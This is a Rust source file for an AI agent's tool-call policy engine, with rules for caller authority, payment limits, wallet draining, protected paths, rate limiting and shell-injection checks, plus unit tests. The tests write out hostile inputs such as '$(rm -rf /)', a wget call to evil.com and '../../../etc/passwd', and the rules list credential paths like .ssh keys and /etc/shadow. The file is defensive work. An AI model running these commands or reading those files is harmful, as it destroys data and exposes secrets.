1use std::sync::Mutex;
2use std::time::{Duration, Instant};
3
4use serde_json::Value;
5
6use roboticus_core::{InputAuthority, PolicyDecision, RiskLevel, SurvivalTier};
7
8fn collect_string_values(value: &Value, out: &mut Vec<String>) {
9 match value {
10 Value::String(s) => out.push(s.clone()),
11 Value::Array(arr) => {
12 for v in arr {
13 collect_string_values(v, out);
14 }
15 }
16 Value::Object(map) => {
17 for v in map.values() {
18 collect_string_values(v, out);
19 }
20 }
21 _ => {}
22 }
23}
24
25pub trait PolicyRule: Send + Sync {
26 fn name(&self) -> &str;
27 fn priority(&self) -> u32;
28 fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision;
29}
30
31#[derive(Debug, Clone)]
32pub struct PolicyContext {
33 pub authority: InputAuthority,
34 pub survival_tier: SurvivalTier,
35 pub claim: Option<roboticus_core::SecurityClaim>,
39}
40
41#[derive(Debug, Clone)]
42pub struct ToolCallRequest {
43 pub tool_name: String,
44 pub params: Value,
45 pub risk_level: RiskLevel,
46}
47
48pub struct PolicyEngine {
49 rules: Vec<Box<dyn PolicyRule>>,
50}
51
52impl PolicyEngine {
53 pub fn new() -> Self {
54 Self { rules: Vec::new() }
55 }
56
57 pub fn add_rule(&mut self, rule: Box<dyn PolicyRule>) {
58 self.rules.push(rule);
59 self.rules.sort_by_key(|r| r.priority());
60 }
61
62 pub fn evaluate_all(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
63 for rule in &self.rules {
64 let decision = rule.evaluate(call, ctx);
65 if !decision.is_allowed() {
66 return decision;
67 }
68 }
69 PolicyDecision::Allow
70 }
71}
72
73impl Default for PolicyEngine {
74 fn default() -> Self {
75 Self::new()
76 }
77}
78
79pub struct AuthorityRule;
81
82impl PolicyRule for AuthorityRule {
83 fn name(&self) -> &str {
84 "authority"
85 }
86
87 fn priority(&self) -> u32 {
88 1
89 }
90
91 fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
92 let allowed = match ctx.authority {
93 InputAuthority::Creator => true,
94 InputAuthority::SelfGenerated => call.risk_level <= RiskLevel::Dangerous,
95 InputAuthority::Peer => call.risk_level <= RiskLevel::Caution,
96 InputAuthority::External => call.risk_level <= RiskLevel::Safe,
97 };
98
99 if allowed {
100 PolicyDecision::Allow
101 } else {
102 PolicyDecision::Deny {
103 rule: self.name().into(),
104 reason: format!(
105 "{:?} authority cannot use {:?}-level tool '{}'",
106 ctx.authority, call.risk_level, call.tool_name
107 ),
108 }
109 }
110 }
111}
112
113pub struct CommandSafetyRule;
115
116impl PolicyRule for CommandSafetyRule {
117 fn name(&self) -> &str {
118 "command_safety"
119 }
120
121 fn priority(&self) -> u32 {
122 2
123 }
124
125 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
126 if call.risk_level == RiskLevel::Forbidden {
127 PolicyDecision::Deny {
128 rule: self.name().into(),
129 reason: format!("tool '{}' is forbidden", call.tool_name),
130 }
131 } else {
132 PolicyDecision::Allow
133 }
134 }
135}
136
137pub struct FinancialRule {
139 pub threshold_dollars: f64,
141}
142
143impl Default for FinancialRule {
144 fn default() -> Self {
145 Self {
146 threshold_dollars: 100.0,
147 }
148 }
149}
150
151impl FinancialRule {
152 pub fn new(threshold_dollars: f64) -> Self {
153 Self { threshold_dollars }
154 }
155
156 fn is_financial_tool(name: &str) -> bool {
157 let name_lower = name.to_lowercase();
158 [
159 "transfer", "send", "withdraw", "deposit", "payment", "wallet",
160 ]
161 .iter()
162 .any(|k| name_lower.contains(k))
163 }
164
165 fn extract_amount_cents(params: &Value) -> Option<i64> {
166 let obj = params.as_object()?;
167 for key in ["amount_cents", "cents", "value_cents"] {
169 if let Some(v) = obj.get(key)
170 && let Some(n) = v.as_i64()
171 {
172 return Some(n);
173 }
174 }
175 if let Some(v) = obj.get("amount")
177 && let Some(n) = v.as_f64()
178 {
179 return Some((n * 100.0).round() as i64);
180 }
181 if let Some(v) = obj
183 .get("amount_dollars")
184 .or(obj.get("dollars"))
185 .or(obj.get("value"))
186 && let Some(n) = v.as_f64()
187 {
188 return Some((n * 100.0).round() as i64);
189 }
190 None
191 }
192
193 fn is_wallet_config_or_drain(params: &Value) -> bool {
194 let obj = match params.as_object() {
195 Some(o) => o,
196 None => return false,
197 };
198 let drain_keys = [
199 "drain",
200 "withdraw_all",
201 "export_private_key",
202 "set_wallet_path",
203 ];
204 for key in drain_keys {
205 if obj.contains_key(key) {
206 return true;
207 }
208 }
209 false
210 }
211}
212
213impl PolicyRule for FinancialRule {
214 fn name(&self) -> &str {
215 "financial"
216 }
217
218 fn priority(&self) -> u32 {
219 3
220 }
221
222 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
223 if !Self::is_financial_tool(&call.tool_name) {
224 return PolicyDecision::Allow;
225 }
226 if Self::is_wallet_config_or_drain(&call.params) {
227 return PolicyDecision::Deny {
228 rule: self.name().into(),
229 reason: "tool attempts to change wallet config or drain funds".into(),
230 };
231 }
232 let threshold_cents = (self.threshold_dollars * 100.0).round() as i64;
233 if let Some(cents) = Self::extract_amount_cents(&call.params)
234 && cents > threshold_cents
235 {
236 return PolicyDecision::Deny {
237 rule: self.name().into(),
238 reason: format!(
239 "amount {} cents exceeds threshold ${:.2}",
240 cents, self.threshold_dollars
241 ),
242 };
243 }
244 PolicyDecision::Allow
245 }
246}
247
248pub struct PathProtectionRule {
251 pub protected: Vec<String>,
253 pub workspace_only: bool,
256 pub tool_allowed_paths: Vec<std::path::PathBuf>,
259}
260
261impl Default for PathProtectionRule {
262 fn default() -> Self {
263 Self {
264 protected: vec![
265 "/etc/".into(),
266 ".env".into(),
267 "wallet.json".into(),
268 "private_key".into(),
269 ".ssh/".into(),
270 "roboticus.toml".into(),
271 ],
272 workspace_only: true,
273 tool_allowed_paths: Vec::new(),
274 }
275 }
276}
277
278impl PathProtectionRule {
279 pub fn new(protected: Vec<String>) -> Self {
280 Self {
281 protected,
282 workspace_only: true,
283 tool_allowed_paths: Vec::new(),
284 }
285 }
286
287 pub fn from_config(fs_cfg: &roboticus_core::config::FilesystemSecurityConfig) -> Self {
293 let mut protected = fs_cfg.protected_paths.clone();
294 protected.extend(fs_cfg.extra_protected_paths.iter().cloned());
295 Self {
296 protected,
297 workspace_only: fs_cfg.workspace_only,
298 tool_allowed_paths: fs_cfg.tool_allowed_paths.clone(),
299 }
300 }
301
302 fn matches_protected(&self, s: &str) -> Option<&str> {
303 let s_lower = s.to_lowercase();
304 for pattern in &self.protected {
305 let p_lower = pattern.to_lowercase();
306 if s_lower.contains(&p_lower) || s_lower.ends_with(p_lower.trim_end_matches('/')) {
307 return Some(pattern);
308 }
309 }
310 None
311 }
312}
313
314impl PolicyRule for PathProtectionRule {
315 fn name(&self) -> &str {
316 "path_protection"
317 }
318
319 fn priority(&self) -> u32 {
320 4
321 }
322
323 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
324 let mut strings = Vec::new();
325 collect_string_values(&call.params, &mut strings);
326
327 if self.workspace_only {
332 for s in &strings {
333 let p = std::path::Path::new(s);
334 if p.is_absolute() && !s.starts_with("/tmp") {
335 let whitelisted = self
336 .tool_allowed_paths
337 .iter()
338 .any(|allowed| p.starts_with(allowed));
339 if !whitelisted {
340 return PolicyDecision::Deny {
341 rule: self.name().into(),
342 reason: format!(
343 "workspace_only mode: absolute path '{}' outside /tmp and configured allowed paths",
344 s
345 ),
346 };
347 }
348 }
349 }
350 }
351
352 for s in &strings {
354 if let Some(pattern) = self.matches_protected(s) {
355 return PolicyDecision::Deny {
356 rule: self.name().into(),
357 reason: format!("protected path pattern '{}' not allowed", pattern),
358 };
359 }
360 }
361 PolicyDecision::Allow
362 }
363}
364
365pub struct RateLimitRule {
367 max_calls_per_minute: u32,
368 calls: Mutex<std::collections::HashMap<String, Vec<Instant>>>,
370}
371
372impl Default for RateLimitRule {
373 fn default() -> Self {
374 Self {
375 max_calls_per_minute: 30,
376 calls: Mutex::new(std::collections::HashMap::new()),
377 }
378 }
379}
380
381impl RateLimitRule {
382 pub fn new(max_calls_per_minute: u32) -> Self {
383 Self {
384 max_calls_per_minute,
385 calls: Mutex::new(std::collections::HashMap::new()),
386 }
387 }
388
389 fn prune_older_than(cuts: &mut Vec<Instant>, cutoff: Instant) {
390 cuts.retain(|&t| t > cutoff);
391 }
392}
393
394impl PolicyRule for RateLimitRule {
395 fn name(&self) -> &str {
396 "rate_limit"
397 }
398
399 fn priority(&self) -> u32 {
400 5
401 }
402
403 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
404 let now = Instant::now();
405 let window_start = now - Duration::from_secs(60);
406 let mut guard = self.calls.lock().unwrap_or_else(|e| e.into_inner());
407 let cuts = guard.entry(call.tool_name.clone()).or_default();
408 Self::prune_older_than(cuts, window_start);
409 if cuts.len() >= self.max_calls_per_minute as usize {
410 return PolicyDecision::Deny {
411 rule: self.name().into(),
412 reason: format!(
413 "tool '{}' rate limit exceeded (max {} per minute)",
414 call.tool_name, self.max_calls_per_minute
415 ),
416 };
417 }
418 cuts.push(now);
419 PolicyDecision::Allow
420 }
421}
422
423pub struct ValidationRule;
425
426const MAX_ARG_SIZE_BYTES: usize = 100 * 1024; impl ValidationRule {
429 fn serialized_size(value: &Value) -> usize {
430 value.to_string().len()
431 }
432
433 fn looks_malicious(s: &str) -> bool {
434 let s_lower = s.to_lowercase();
435 if s.contains('$') && (s.contains('(') || s.contains('`') || s.contains("${")) {
437 return true;
438 }
439 if s.contains("; ")
440 && (s_lower.contains("rm ") || s_lower.contains("curl ") || s_lower.contains("wget "))
441 {
442 return true;
443 }
444 if s.contains("..") && (s.contains('/') || s.contains('\\')) {
446 return true;
447 }
448 false
449 }
450}
451
452impl PolicyRule for ValidationRule {
453 fn name(&self) -> &str {
454 "validation"
455 }
456
457 fn priority(&self) -> u32 {
458 6
459 }
460
461 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
462 if Self::serialized_size(&call.params) > MAX_ARG_SIZE_BYTES {
463 return PolicyDecision::Deny {
464 rule: self.name().into(),
465 reason: format!(
466 "arguments exceed maximum size ({} bytes)",
467 MAX_ARG_SIZE_BYTES
468 ),
469 };
470 }
471 let mut strings = Vec::new();
472 collect_string_values(&call.params, &mut strings);
473 for s in &strings {
474 if Self::looks_malicious(s) {
475 return PolicyDecision::Deny {
476 rule: self.name().into(),
477 reason: "arguments contain potentially malicious pattern (shell injection or path traversal)".into(),
478 };
479 }
480 }
481 PolicyDecision::Allow
482 }
483}
484
485#[cfg(test)]
486mod tests {
487 use super::*;
488
489 fn make_request(tool: &str, risk: RiskLevel) -> ToolCallRequest {
490 ToolCallRequest {
491 tool_name: tool.into(),
492 params: serde_json::json!({}),
493 risk_level: risk,
494 }
495 }
496
497 #[test]
498 fn authority_based_blocking() {
499 let mut engine = PolicyEngine::new();
500 engine.add_rule(Box::new(AuthorityRule));
501
502 let ctx_external = PolicyContext {
503 authority: InputAuthority::External,
504 survival_tier: SurvivalTier::Normal,
505 claim: None,
506 };
507
508 assert!(
509 engine
510 .evaluate_all(&make_request("echo", RiskLevel::Safe), &ctx_external)
511 .is_allowed()
512 );
513
514 assert!(
515 !engine
516 .evaluate_all(&make_request("rm_file", RiskLevel::Caution), &ctx_external)
517 .is_allowed()
518 );
519
520 let ctx_creator = PolicyContext {
521 authority: InputAuthority::Creator,
522 survival_tier: SurvivalTier::Normal,
523 claim: None,
524 };
525 assert!(
526 engine
527 .evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx_creator)
528 .is_allowed()
529 );
530
531 let ctx_self = PolicyContext {
532 authority: InputAuthority::SelfGenerated,
533 survival_tier: SurvivalTier::Normal,
534 claim: None,
535 };
536 assert!(
537 engine
538 .evaluate_all(&make_request("cmd", RiskLevel::Dangerous), &ctx_self)
539 .is_allowed()
540 );
541 assert!(
542 !engine
543 .evaluate_all(&make_request("cmd", RiskLevel::Forbidden), &ctx_self)
544 .is_allowed()
545 );
546 }
547
548 #[test]
549 fn command_safety_blocks_forbidden() {
550 let mut engine = PolicyEngine::new();
551 engine.add_rule(Box::new(CommandSafetyRule));
552
553 let ctx = PolicyContext {
554 authority: InputAuthority::Creator,
555 survival_tier: SurvivalTier::Normal,
556 claim: None,
557 };
558
559 assert!(
560 !engine
561 .evaluate_all(&make_request("evil", RiskLevel::Forbidden), &ctx)
562 .is_allowed()
563 );
564 assert!(
565 engine
566 .evaluate_all(&make_request("good", RiskLevel::Dangerous), &ctx)
567 .is_allowed()
568 );
569 }
570
571 #[test]
572 fn allow_pass_through() {
573 let mut engine = PolicyEngine::new();
574 engine.add_rule(Box::new(AuthorityRule));
575 engine.add_rule(Box::new(CommandSafetyRule));
576
577 let ctx = PolicyContext {
578 authority: InputAuthority::Creator,
579 survival_tier: SurvivalTier::High,
580 claim: None,
581 };
582
583 let decision = engine.evaluate_all(&make_request("read_file", RiskLevel::Safe), &ctx);
584 assert!(decision.is_allowed());
585 }
586
587 #[test]
588 fn financial_rule_blocks_high_value_allows_low() {
589 let rule = FinancialRule::new(100.0);
590 let ctx = PolicyContext {
591 authority: InputAuthority::Creator,
592 survival_tier: SurvivalTier::Normal,
593 claim: None,
594 };
595
596 let low = ToolCallRequest {
597 tool_name: "transfer".into(),
598 params: serde_json::json!({ "amount_cents": 5000 }),
599 risk_level: RiskLevel::Safe,
600 };
601 assert!(rule.evaluate(&low, &ctx).is_allowed());
602
603 let high = ToolCallRequest {
604 tool_name: "send".into(),
605 params: serde_json::json!({ "amount_dollars": 150.0 }),
606 risk_level: RiskLevel::Safe,
607 };
608 assert!(!rule.evaluate(&high, &ctx).is_allowed());
609
610 let non_financial = ToolCallRequest {
611 tool_name: "read_file".into(),
612 params: serde_json::json!({ "path": "/tmp/foo" }),
613 risk_level: RiskLevel::Safe,
614 };
615 assert!(rule.evaluate(&non_financial, &ctx).is_allowed());
616 }
617
618 #[test]
619 fn financial_rule_blocks_wallet_drain() {
620 let rule = FinancialRule::default();
621 let ctx = PolicyContext {
622 authority: InputAuthority::Creator,
623 survival_tier: SurvivalTier::Normal,
624 claim: None,
625 };
626
627 let drain = ToolCallRequest {
628 tool_name: "wallet_export".into(),
629 params: serde_json::json!({ "export_private_key": true }),
630 risk_level: RiskLevel::Safe,
631 };
632 assert!(!rule.evaluate(&drain, &ctx).is_allowed());
633 }
634
635 #[test]
636 fn path_protection_blocks_env_allows_normal() {
637 let rule = PathProtectionRule::default();
638 let ctx = PolicyContext {
639 authority: InputAuthority::Creator,
640 survival_tier: SurvivalTier::Normal,
641 claim: None,
642 };
643
644 let blocked = ToolCallRequest {
645 tool_name: "read_file".into(),
646 params: serde_json::json!({ "path": "/app/.env" }),
647 risk_level: RiskLevel::Safe,
648 };
649 let decision = rule.evaluate(&blocked, &ctx);
650 assert!(!decision.is_allowed());
651 if let PolicyDecision::Deny { reason, .. } = &decision {
652 assert!(reason.contains(".env") || reason.contains("protected"));
653 }
654
655 let allowed = ToolCallRequest {
656 tool_name: "read_file".into(),
657 params: serde_json::json!({ "path": "/tmp/foo.txt" }),
658 risk_level: RiskLevel::Safe,
659 };
660 assert!(rule.evaluate(&allowed, &ctx).is_allowed());
661 }
662
663 #[test]
664 fn rate_limit_blocks_over_limit_allows_under() {
665 let rule = RateLimitRule::new(2);
666 let ctx = PolicyContext {
667 authority: InputAuthority::Creator,
668 survival_tier: SurvivalTier::Normal,
669 claim: None,
670 };
671
672 let req = |tool: &str| ToolCallRequest {
673 tool_name: tool.into(),
674 params: serde_json::json!({}),
675 risk_level: RiskLevel::Safe,
676 };
677
678 assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
679 assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
680 assert!(!rule.evaluate(&req("foo"), &ctx).is_allowed());
681
682 assert!(rule.evaluate(&req("bar"), &ctx).is_allowed());
683 }
684
685 #[test]
686 fn validation_rejects_oversized_and_malicious() {
687 let rule = ValidationRule;
688 let ctx = PolicyContext {
689 authority: InputAuthority::Creator,
690 survival_tier: SurvivalTier::Normal,
691 claim: None,
692 };
693
694 let huge = ToolCallRequest {
695 tool_name: "echo".into(),
696 params: serde_json::json!({ "data": "x".repeat(101 * 1024) }),
697 risk_level: RiskLevel::Safe,
698 };
699 assert!(!rule.evaluate(&huge, &ctx).is_allowed());
700
701 let shell_injection = ToolCallRequest {
702 tool_name: "run".into(),
703 params: serde_json::json!({ "cmd": "$(rm -rf /)" }),
704 risk_level: RiskLevel::Safe,
705 };
706 assert!(!rule.evaluate(&shell_injection, &ctx).is_allowed());
707
708 let path_traversal = ToolCallRequest {
709 tool_name: "read".into(),
710 params: serde_json::json!({ "path": "../../../etc/passwd" }),
711 risk_level: RiskLevel::Safe,
712 };
713 assert!(!rule.evaluate(&path_traversal, &ctx).is_allowed());
714
715 let ok = ToolCallRequest {
716 tool_name: "echo".into(),
717 params: serde_json::json!({ "msg": "hello" }),
718 risk_level: RiskLevel::Safe,
719 };
720 assert!(rule.evaluate(&ok, &ctx).is_allowed());
721 }
722
723 #[test]
726 fn collect_string_values_nested_arrays() {
727 let val = serde_json::json!([["a", "b"], ["c"]]);
728 let mut out = Vec::new();
729 collect_string_values(&val, &mut out);
730 assert_eq!(out, vec!["a", "b", "c"]);
731 }
732
733 #[test]
734 fn collect_string_values_nested_objects() {
735 let val = serde_json::json!({"a": {"b": "deep", "c": 42}, "d": "top"});
736 let mut out = Vec::new();
737 collect_string_values(&val, &mut out);
738 assert!(out.contains(&"deep".to_string()));
739 assert!(out.contains(&"top".to_string()));
740 assert_eq!(out.len(), 2); }
742
743 #[test]
744 fn collect_string_values_mixed() {
745 let val = serde_json::json!({
746 "items": [{"name": "file.txt"}, {"name": "dir/sub.py"}],
747 "count": 2,
748 "flag": true,
749 "label": "test"
750 });
751 let mut out = Vec::new();
752 collect_string_values(&val, &mut out);
753 assert!(out.contains(&"file.txt".to_string()));
754 assert!(out.contains(&"dir/sub.py".to_string()));
755 assert!(out.contains(&"test".to_string()));
756 assert_eq!(out.len(), 3);
757 }
758
759 #[test]
760 fn collect_string_values_primitives_skipped() {
761 let val = serde_json::json!(42);
762 let mut out = Vec::new();
763 collect_string_values(&val, &mut out);
764 assert!(out.is_empty());
765
766 let val = serde_json::json!(true);
767 collect_string_values(&val, &mut out);
768 assert!(out.is_empty());
769
770 let val = serde_json::json!(null);
771 collect_string_values(&val, &mut out);
772 assert!(out.is_empty());
773 }
774
775 #[test]
778 fn authority_peer_allows_safe_blocks_caution() {
779 let rule = AuthorityRule;
780 let ctx = PolicyContext {
781 authority: InputAuthority::Peer,
782 survival_tier: SurvivalTier::Normal,
783 claim: None,
784 };
785
786 assert!(
787 rule.evaluate(&make_request("echo", RiskLevel::Safe), &ctx)
788 .is_allowed()
789 );
790 assert!(
791 rule.evaluate(&make_request("read_file", RiskLevel::Caution), &ctx)
792 .is_allowed()
793 );
794 assert!(
795 !rule
796 .evaluate(&make_request("write_file", RiskLevel::Dangerous), &ctx)
797 .is_allowed()
798 );
799 }
800
801 #[test]
804 fn financial_extract_amount_cents_various_keys() {
805 assert_eq!(
807 FinancialRule::extract_amount_cents(&serde_json::json!({"amount": 5000})),
808 Some(500000)
809 );
810 assert_eq!(
812 FinancialRule::extract_amount_cents(&serde_json::json!({"amount_cents": 3000})),
813 Some(3000)
814 );
815 assert_eq!(
817 FinancialRule::extract_amount_cents(&serde_json::json!({"cents": 1500})),
818 Some(1500)
819 );
820 assert_eq!(
822 FinancialRule::extract_amount_cents(&serde_json::json!({"value_cents": 2000})),
823 Some(2000)
824 );
825 assert_eq!(
827 FinancialRule::extract_amount_cents(&serde_json::json!({"dollars": 25.0})),
828 Some(2500)
829 );
830 assert_eq!(
832 FinancialRule::extract_amount_cents(&serde_json::json!({"value": 10.50})),
833 Some(1050)
834 );
835 assert_eq!(
837 FinancialRule::extract_amount_cents(&serde_json::json!({"other": 42})),
838 None
839 );
840 assert_eq!(
842 FinancialRule::extract_amount_cents(&serde_json::json!("not an object")),
843 None
844 );
845 }
846
847 #[test]
848 fn financial_is_financial_tool_names() {
849 assert!(FinancialRule::is_financial_tool("transfer_usdc"));
850 assert!(FinancialRule::is_financial_tool("send_payment"));
851 assert!(FinancialRule::is_financial_tool("withdraw_funds"));
852 assert!(FinancialRule::is_financial_tool("deposit_eth"));
853 assert!(FinancialRule::is_financial_tool("process_payment"));
854 assert!(FinancialRule::is_financial_tool("wallet_balance"));
855 assert!(!FinancialRule::is_financial_tool("read_file"));
856 assert!(!FinancialRule::is_financial_tool("echo"));
857 }
858
859 #[test]
860 fn financial_wallet_config_drain_patterns() {
861 assert!(FinancialRule::is_wallet_config_or_drain(
862 &serde_json::json!({"drain": true})
863 ));
864 assert!(FinancialRule::is_wallet_config_or_drain(
865 &serde_json::json!({"withdraw_all": true})
866 ));
867 assert!(FinancialRule::is_wallet_config_or_drain(
868 &serde_json::json!({"export_private_key": true})
869 ));
870 assert!(FinancialRule::is_wallet_config_or_drain(
871 &serde_json::json!({"set_wallet_path": "/tmp/evil"})
872 ));
873 assert!(!FinancialRule::is_wallet_config_or_drain(
874 &serde_json::json!({"amount": 100})
875 ));
876 assert!(!FinancialRule::is_wallet_config_or_drain(
877 &serde_json::json!("not an object")
878 ));
879 }
880
881 #[test]
884 fn validation_looks_malicious_wget() {
885 let rule = ValidationRule;
886 let ctx = PolicyContext {
887 authority: InputAuthority::Creator,
888 survival_tier: SurvivalTier::Normal,
889 claim: None,
890 };
891
892 let wget_inject = ToolCallRequest {
893 tool_name: "run".into(),
894 params: serde_json::json!({ "cmd": "; wget http://evil.com/payload" }),
895 risk_level: RiskLevel::Safe,
896 };
897 assert!(!rule.evaluate(&wget_inject, &ctx).is_allowed());
898 }
899
900 #[test]
901 fn validation_looks_malicious_backtick() {
902 let rule = ValidationRule;
903 let ctx = PolicyContext {
904 authority: InputAuthority::Creator,
905 survival_tier: SurvivalTier::Normal,
906 claim: None,
907 };
908
909 let backtick = ToolCallRequest {
910 tool_name: "run".into(),
911 params: serde_json::json!({ "cmd": "echo $(`whoami`)" }),
912 risk_level: RiskLevel::Safe,
913 };
914 assert!(!rule.evaluate(&backtick, &ctx).is_allowed());
915 }
916
917 #[test]
918 fn validation_looks_malicious_dollar_brace() {
919 let rule = ValidationRule;
920 let ctx = PolicyContext {
921 authority: InputAuthority::Creator,
922 survival_tier: SurvivalTier::Normal,
923 claim: None,
924 };
925
926 let dollar_brace = ToolCallRequest {
927 tool_name: "run".into(),
928 params: serde_json::json!({ "cmd": "echo ${SECRET}" }),
929 risk_level: RiskLevel::Safe,
930 };
931 assert!(!rule.evaluate(&dollar_brace, &ctx).is_allowed());
932 }
933
934 #[test]
937 fn path_protection_detects_nested_protected_paths() {
938 let rule = PathProtectionRule::default();
939 let ctx = PolicyContext {
940 authority: InputAuthority::Creator,
941 survival_tier: SurvivalTier::Normal,
942 claim: None,
943 };
944
945 let nested = ToolCallRequest {
946 tool_name: "process".into(),
947 params: serde_json::json!({
948 "files": [{"path": "/etc/shadow"}]
949 }),
950 risk_level: RiskLevel::Safe,
951 };
952 assert!(!rule.evaluate(&nested, &ctx).is_allowed());
953 }
954
955 #[test]
956 fn path_protection_wallet_json() {
957 let rule = PathProtectionRule::default();
958 let ctx = PolicyContext {
959 authority: InputAuthority::Creator,
960 survival_tier: SurvivalTier::Normal,
961 claim: None,
962 };
963
964 let wallet = ToolCallRequest {
965 tool_name: "read_file".into(),
966 params: serde_json::json!({ "path": "data/wallet.json" }),
967 risk_level: RiskLevel::Safe,
968 };
969 assert!(!rule.evaluate(&wallet, &ctx).is_allowed());
970 }
971
972 #[test]
973 fn path_protection_ssh_dir() {
974 let rule = PathProtectionRule::default();
975 let ctx = PolicyContext {
976 authority: InputAuthority::Creator,
977 survival_tier: SurvivalTier::Normal,
978 claim: None,
979 };
980
981 let ssh = ToolCallRequest {
982 tool_name: "read_file".into(),
983 params: serde_json::json!({ "path": ".ssh/id_rsa" }),
984 risk_level: RiskLevel::Safe,
985 };
986 assert!(!rule.evaluate(&ssh, &ctx).is_allowed());
987 }
988
989 #[test]
992 fn engine_evaluates_rules_in_priority_order() {
993 let mut engine = PolicyEngine::new();
994 engine.add_rule(Box::new(ValidationRule)); engine.add_rule(Box::new(AuthorityRule)); engine.add_rule(Box::new(CommandSafetyRule)); let ctx = PolicyContext {
1000 authority: InputAuthority::External,
1001 survival_tier: SurvivalTier::Normal,
1002 claim: None,
1003 };
1004 let decision = engine.evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx);
1005 assert!(!decision.is_allowed());
1006 if let PolicyDecision::Deny { rule, .. } = &decision {
1007 assert_eq!(rule, "authority", "authority rule should fire first");
1008 }
1009 }
1010
1011 #[test]
1012 fn engine_default_is_empty() {
1013 let engine = PolicyEngine::default();
1014 let ctx = PolicyContext {
1015 authority: InputAuthority::External,
1016 survival_tier: SurvivalTier::Normal,
1017 claim: None,
1018 };
1019 assert!(
1021 engine
1022 .evaluate_all(&make_request("anything", RiskLevel::Forbidden), &ctx)
1023 .is_allowed()
1024 );
1025 }
1026
1027 #[test]
1030 fn path_protection_workspace_only_blocks_absolute() {
1031 let rule = PathProtectionRule {
1032 protected: vec![],
1033 workspace_only: true,
1034 tool_allowed_paths: vec![],
1035 };
1036 let ctx = PolicyContext {
1037 authority: InputAuthority::Creator,
1038 survival_tier: SurvivalTier::Normal,
1039 claim: None,
1040 };
1041
1042 let abs_path = if cfg!(windows) {
1043 r"C:\Users\user\secret.txt"
1044 } else {
1045 "/home/user/secret.txt"
1046 };
1047 let abs = ToolCallRequest {
1048 tool_name: "read_file".into(),
1049 params: serde_json::json!({ "path": abs_path }),
1050 risk_level: RiskLevel::Safe,
1051 };
1052 assert!(
1053 !rule.evaluate(&abs, &ctx).is_allowed(),
1054 "workspace_only should block absolute paths outside /tmp"
1055 );
1056
1057 let tmp = ToolCallRequest {
1058 tool_name: "write_file".into(),
1059 params: serde_json::json!({ "path": "/tmp/scratch.txt" }),
1060 risk_level: RiskLevel::Safe,
1061 };
1062 assert!(
1063 rule.evaluate(&tmp, &ctx).is_allowed(),
1064 "workspace_only should allow /tmp paths"
1065 );
1066
1067 let relative = ToolCallRequest {
1068 tool_name: "read_file".into(),
1069 params: serde_json::json!({ "path": "src/main.rs" }),
1070 risk_level: RiskLevel::Safe,
1071 };
1072 assert!(
1073 rule.evaluate(&relative, &ctx).is_allowed(),
1074 "workspace_only should allow relative paths"
1075 );
1076 }
1077
1078 #[test]
1079 fn path_protection_workspace_only_disabled() {
1080 let rule = PathProtectionRule {
1081 protected: vec![],
1082 workspace_only: false,
1083 tool_allowed_paths: vec![],
1084 };
1085 let ctx = PolicyContext {
1086 authority: InputAuthority::Creator,
1087 survival_tier: SurvivalTier::Normal,
1088 claim: None,
1089 };
1090
1091 let abs = ToolCallRequest {
1092 tool_name: "read_file".into(),
1093 params: serde_json::json!({ "path": "/home/user/document.txt" }),
1094 risk_level: RiskLevel::Safe,
1095 };
1096 assert!(
1097 rule.evaluate(&abs, &ctx).is_allowed(),
1098 "workspace_only=false should allow absolute paths"
1099 );
1100 }
1101
1102 #[test]
1103 fn path_protection_from_config_merges_lists() {
1104 let cfg = roboticus_core::config::FilesystemSecurityConfig {
1105 workspace_only: false,
1106 protected_paths: vec![".env".into(), "secret.key".into()],
1107 extra_protected_paths: vec!["custom.pem".into()],
1108 script_fs_confinement: true,
1109 script_allowed_paths: vec![],
1110 tool_allowed_paths: vec![],
1111 };
1112 let rule = PathProtectionRule::from_config(&cfg);
1113 assert!(!rule.workspace_only);
1114 assert_eq!(rule.protected.len(), 3);
1115 assert!(rule.protected.contains(&"custom.pem".to_string()));
1116
1117 let ctx = PolicyContext {
1118 authority: InputAuthority::Creator,
1119 survival_tier: SurvivalTier::Normal,
1120 claim: None,
1121 };
1122
1123 let custom = ToolCallRequest {
1124 tool_name: "read_file".into(),
1125 params: serde_json::json!({ "path": "deploy/custom.pem" }),
1126 risk_level: RiskLevel::Safe,
1127 };
1128 assert!(
1129 !rule.evaluate(&custom, &ctx).is_allowed(),
1130 "extra_protected_paths should be merged and enforced"
1131 );
1132 }
1133
1134 #[test]
1135 fn path_protection_expanded_defaults_block_ssh_keys() {
1136 let cfg = roboticus_core::config::FilesystemSecurityConfig::default();
1137 let rule = PathProtectionRule::from_config(&cfg);
1138 let ctx = PolicyContext {
1139 authority: InputAuthority::Creator,
1140 survival_tier: SurvivalTier::Normal,
1141 claim: None,
1142 };
1143
1144 for path in [
1145 "/home/user/.ssh/id_rsa",
1146 "config/.aws/credentials",
1147 "/etc/shadow",
1148 "app/.env.production",
1149 ".gnupg/private-keys-v1.d/key",
1150 "deploy/id_ed25519",
1151 ".kube/config",
1152 "db/data.sqlite",
1153 ] {
1154 let req = ToolCallRequest {
1155 tool_name: "read_file".into(),
1156 params: serde_json::json!({ "path": path }),
1157 risk_level: RiskLevel::Safe,
1158 };
1159 assert!(
1160 !rule.evaluate(&req, &ctx).is_allowed(),
1161 "default protected paths should block '{}'",
1162 path
1163 );
1164 }
1165 }
1166
1167 #[test]
1168 fn path_protection_tool_allowed_paths_whitelist() {
1169 let (vault_base, vault_path, other_path) = if cfg!(windows) {
1170 (
1171 r"C:\Users\jmachen\Desktop\My Vault",
1172 r"C:\Users\jmachen\Desktop\My Vault\notes.md",
1173 r"C:\Users\jmachen\Documents\secret.txt",
1174 )
1175 } else {
1176 (
1177 "/Users/jmachen/Desktop/My Vault",
1178 "/Users/jmachen/Desktop/My Vault/notes.md",
1179 "/Users/jmachen/Documents/secret.txt",
1180 )
1181 };
